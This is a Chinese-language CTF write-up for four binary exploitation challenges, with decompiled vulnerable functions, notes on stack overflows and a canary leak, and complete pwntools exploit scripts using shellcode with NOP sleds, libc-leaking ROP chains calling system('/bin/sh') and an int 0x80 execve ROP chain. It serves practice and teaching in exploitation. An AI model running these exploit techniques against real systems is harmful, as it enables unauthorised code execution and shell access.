目录
这是一个读书的程序,可以选定一本书然后把它调入内存中。然后可以显示。有canary,用scanf(%s,v4)把数据读入栈可以有溢出。并且栈内可执行,一般这种专门打开的就是让在栈里写shellcode然后跳过去执行。
- unsigned __int64 list()
- {
- int v1; // [rsp+4h] [rbp-7A5Ch]
- int v2; // [rsp+8h] [rbp-7A58h]
- unsigned int v3; // [rsp+Ch] [rbp-7A54h]
- char v4[32]; // [rsp+10h] [rbp-7A50h] BYREF
- char v5; // [rsp+30h] [rbp-7A30h] BYREF
- char v6[31]; // [rsp+31h] [rbp-7A2Fh] BYREF
- char dest[512]; // [rsp+50h] [rbp-7A10h] BYREF
- char s[30728]; // [rsp+250h] [rbp-7810h] BYREF
- unsigned __int64 v9; // [rsp+7A58h] [rbp-8h]
-
- v9 = __readfsqword(0x28u);
- banner();
- memset(s, 0, 0x7800uLL);
- printf("Which book to read?\n> ");
- _isoc99_scanf("%s", v4); // book_name
- if ( !sub_400D20(v4, s, 0x7800uLL) )
- {
- printf("Can't open book: %s\n", v4);
- }
- else
- {
- v2 = strlen(s);
- v1 = -1;
- v5 = 32;
- do
- {
- if ( v1 >= 0 )
- {
- printf("\ncontinue? [y/n/sN] > ");
- _isoc99_scanf("%s", &v5);
- }
- if ( v1 >= v2 )
- v5 = 'n';
- if ( v5 == 's' ) // seek有溢出
- {
- v3 = atoi(v6);
- printf("seeking: %i\n", v3);
- v1 += v3;
- v5 = 'y';
- }
- else if ( v5 == 32 )
- {
- v5 = 'y';
- v1 = 0;
- }
- else
- {
- v1 += 511;
- }
- strncpy(dest, &s[v1], 0x1FFuLL);
- dest[511] = 0;
- banner();
- puts(dest);
- }
- while ( v5 == aY[0] );
- banner();
- }
- return __readfsqword(0x28u) ^ v9;
- }
坑:后台需要在./library里有一个大点的文本文件调入,但后台好像没建这个目录,所以运行不了
sn是说可以从哪个位置开始,而且这里对n并没有限制,就可以输入溢出的数字达到任意地址读。
第一步是读canary+1(尾字节为0)读到canary
第二步是读rbp
然后就可以在输入书名的时候溢出在ret的位置放jmp+shellcode,照着网上的wp
- from pwn import *
-
- r = process('./pwn')
- #r = remote('challenge-a4141bf9625a8383.sandbox.ctfhub.com', 30818)
-
- context(arch='amd64', log_level='debug')
- #Get stack canary
- r.sendline(b"1")
- r.recvuntil(b">")
- r.clean()
-
- r.sendline(b"memory.txt")
- r.recvuntil(b"continue?")
- r.sendline(b"s30729") # last byte of stack canary is a null byte (probably ubuntu: http://phrack.org/issues/67/13.html)
-
- r.recvuntil(b"more love!\n\n\n")
-
- canary = u64(b"\x00"+r.recvn(7))
- log.info("Got the stack canary: 0x%x" % canary)
-
- r.sendline(b"n")
- r.recvuntil(b">")
- r.clean()
-
- #Get rbp
- r.sendline(b"1")
- r.recvuntil(b">")
- r.clean()
- r.sendline(b"memory.txt")
- r.recvuntil(b"continue?")
- r.sendline(b"s30736")
-
- r.recvuntil(b"more love!\n\n\n")
- getrbp = r.recvn(6)
- print(getrbp)
- assert getrbp[5] == 0x7f
- rbp = u64(getrbp + b"\x00\x00")
-
- log.info("rbp is at 0x%x" % rbp)
-
- r.sendline(b"n")
- r.recvuntil(b">")
- r.clean()
-
- #Smash it!
- r.sendline(b"1")
- r.recvuntil(b">")
- r.clean()
- #v4 [rbp-7A50h] jmp to shellcode
- r.sendline(b"A"*31304 + p64(canary) + p64(rbp) + p64(rbp+32) + b"\x90"*100 + asm(shellcraft.setresuid(1001,1001,1001) + shellcraft.setresgid(1001,1001,1001) + shellcraft.sh()))
- r.interactive()
前边都没大问题,在vnln里将前面输入的很长的数据用memcpy得到0x400到50里有很明显的溢出
- void *__cdecl vuln(int src, size_t n)
- {
- char dest[50]; // [esp+6h] [ebp-32h] BYREF
-
- return memcpy(dest, &src, n);
- }
并且和上题一样栈里可执行,直接写shellcode,具体跳到哪用gdb跟进去找,差不多就行,中间用nop过滤。不用太准,只要落在nop的位置即可。
- from pwn import *
-
- #p = process('./pwn')
- p = remote('challenge-b668730cdba19f41.sandbox.ctfhub.com', 20247)
- elf = ELF('./pwn')
- context(arch='i386', log_level='debug')
-
- p.recvuntil(b'Yippie, lets crash: ')
- ebp = int(p.recvline(),16)
- print('ebp:', hex(ebp))
-
- #gdb.attach(p, "b*0x80485fd")
- #pause()
-
- p.sendlineafter(b'> ', b'crashme\x00'.ljust(22, b'\x00')+ p32(0) + p32(ebp+0x20)+ b'\x90'*0x40+asm(shellcraft.sh()))
-
- p.recv()
-
- p.interactive()
这题有点绕
- __int64 __fastcall main(int a1, char **a2, char **a3)
- {
- qword_602068 = (__int64)*a2;
- if ( a1 > 1 && !strcmp("--help", a2[1]) )
- sub_4011ED();
- setbuf(stdout, 0LL);
- sub_400B84(); // 得到savedtime
- sub_401196(); // 6次算检验码
- sub_400F27(); // 溢出
- return 0LL;
- }
先把一个时间存起来,并输出,然后作6次检验码,就是给两个数要求输入和。
然后是两次检查,有一个不太复杂的运行,由于这里有溢出,要求通过溢出覆盖到指定位置,使两个数相同。两个函数里的运算方法是相同的。
第二次检查的溢出比较长可以覆盖到ret后边但是有个问题,这个题没有plt表,所以不能用pop_rdi,got_puts,plt_puts,并且几乎所有的puts,ret都在特殊字符位置,因为scanf(%s)的时候比如09,0a,0c这些都是输入不进去的,所以需要找一个能泄露的函数。这里用400fe8也就是第2次检查的中间部分,这里输入libc后会继续检查,由于这里用到rbp所以在这次溢出里要用bss的可写地址填充rbp。由于bss从602000开始,20是空格也不能输入,要向后找,并且栈是向小地址生长的,所以要保留足够的空间。这里选用602800,其它只要空间够就可以
- from pwn import *
-
- '''
- patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
- patchelf --add-needed /home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
- '''
-
- p = process('./pwn')
- #p = remote('challenge-43a67d2ad4cea95d.sandbox.ctfhub.com', 26446)
-
- elf = ELF('./pwn')
- context(arch='amd64', log_level='debug')
-
- p.recvuntil(b" time: 0x")
- savedtime = int(p.recvline(), 16)
- print('time:', hex(savedtime))
-
- def checkcode():
- p.recvuntil(b'captcha: ')
- v1 = int(p.recvuntil(b' ', drop=True), 16)
- v2 = int(p.recvuntil(b'\n', drop=True), 16)
- p.sendlineafter(b'> ', hex(v1+v2)[2:].encode())
-
- for i in range(6):
- checkcode()
-
- def get_v18():
- v11 = savedtime&0xdd
- v10 = v11|(v11<<8)|(v11<<16)|(v11<<24)
- v12 = v10^savedtime
- v2 = v12 + 4919
- v9 = v2
- v9 -= 66
- return v9
-
- v18 = get_v18()
- p.sendlineafter(b"Are you a robot or a human?\n> ", b'yes\x00'.ljust(0x50-4, b'\x00')+ p32(v18))
-
- v19 = get_v18()
- pop_rdi = 0x0000000000401303 # pop rdi ; ret
- pppp = 0x00000000004012fc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
-
- rop1 = flat(0x602800, pop_rdi, elf.got['puts'], 0x400fe8, 0x400680)
- p.sendlineafter(b"Which node are you?\n> ", b'yes\x00'.ljust(0x70-4, b'\x00')+ p32(v19) + rop1)
-
- libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x6f690 #0x80ed0
- bin_sh = libc_base + 0x18cd57 #0x1d8698
- system = libc_base + 0x45390 #0x50d60
-
- rop2 = flat(0, pop_rdi+1, pop_rdi, bin_sh, system)
- p.sendlineafter(b"> ", b'yes\x00'.ljust(0x70-4, b'\x00')+ p32(v19) + rop2)
-
- p.interactive()
一个32位静态编译的程序,这里就不用got表也没有system,只能用int 0x80来处理,
这时候eax=11,[ebx]=/bin/sh,[edx]=0,[edx]=0
需要用现有的rop也凑,并且需要过滤 BAC4071CD1AC830300 同时scanf还要绕过20090A0B0C0D等。
中间还要覆盖v7
- from pwn import *
-
- #p = process('./pwn')
- p = remote('challenge-d25bfb5dd70c964e.sandbox.ctfhub.com', 34920)
-
- elf = ELF('./pwn')
- context(arch='i386', log_level='debug')
-
- pop_ecx = 0x080e05f5 # pop ecx ; ret
- pop_edx = 0x0806fe6a # pop edx ; ret
- pop_ebx = 0x0804f83c # pop ebx ; ret
-
- mov_eax_ecx = 0x0806cfe5 # mov eax, ecx ; pop esi ; pop edi ; ret
- mov_ptr_edx_eax = 0x0805596b # mov dword ptr [edx], eax ; ret
- xor_eax = 0x08049573 # xor eax, eax ; ret
- dec_edx = 0x080e13fe # dec edx ; ret
- dec_ecx = 0x080e215d # dec ecx ; ret
- inc_eax = 0x0805d633 # inc eax ; pop edi ; ret
-
- int_80 = 0x0806d9c5 # int 0x80
-
- #gdb.attach(p, "b*0x8048bbe")
- #pause()
- # v7 ret
- pay = b'A'*0x25+p32(322423550)+ b'B'*0x18+ flat([
- pop_ecx, b'//bi', mov_eax_ecx, 0xaaaaaaaa, 0xaaaaaaaa,
- pop_edx, 0x80ec004, mov_ptr_edx_eax, #0x80ec004:/bin/sh
- pop_ecx, b'n/sh', mov_eax_ecx, 0xaaaaaaaa, 0xaaaaaaaa,
- pop_edx, 0x80ec008, mov_ptr_edx_eax,
- xor_eax,
- pop_edx, 0x80ec010, mov_ptr_edx_eax,
- dec_edx, dec_edx, dec_edx, dec_edx, mov_ptr_edx_eax, #edx=0x80ec00c [edx]=0
- pop_ebx, 0x80ec004,
- pop_ecx, 0x80ec010,
- pop_edx, 0x80ec010,
- xor_eax,
- (p32(inc_eax)+p32(0xdeadbeef))*11, #eax=11,[ebx]=/bin/sh,[ecx]=0,[edx]=0
- int_80
- ])
- p.sendlineafter(b"ping> ", pay[::-1])
-
- p.interactive()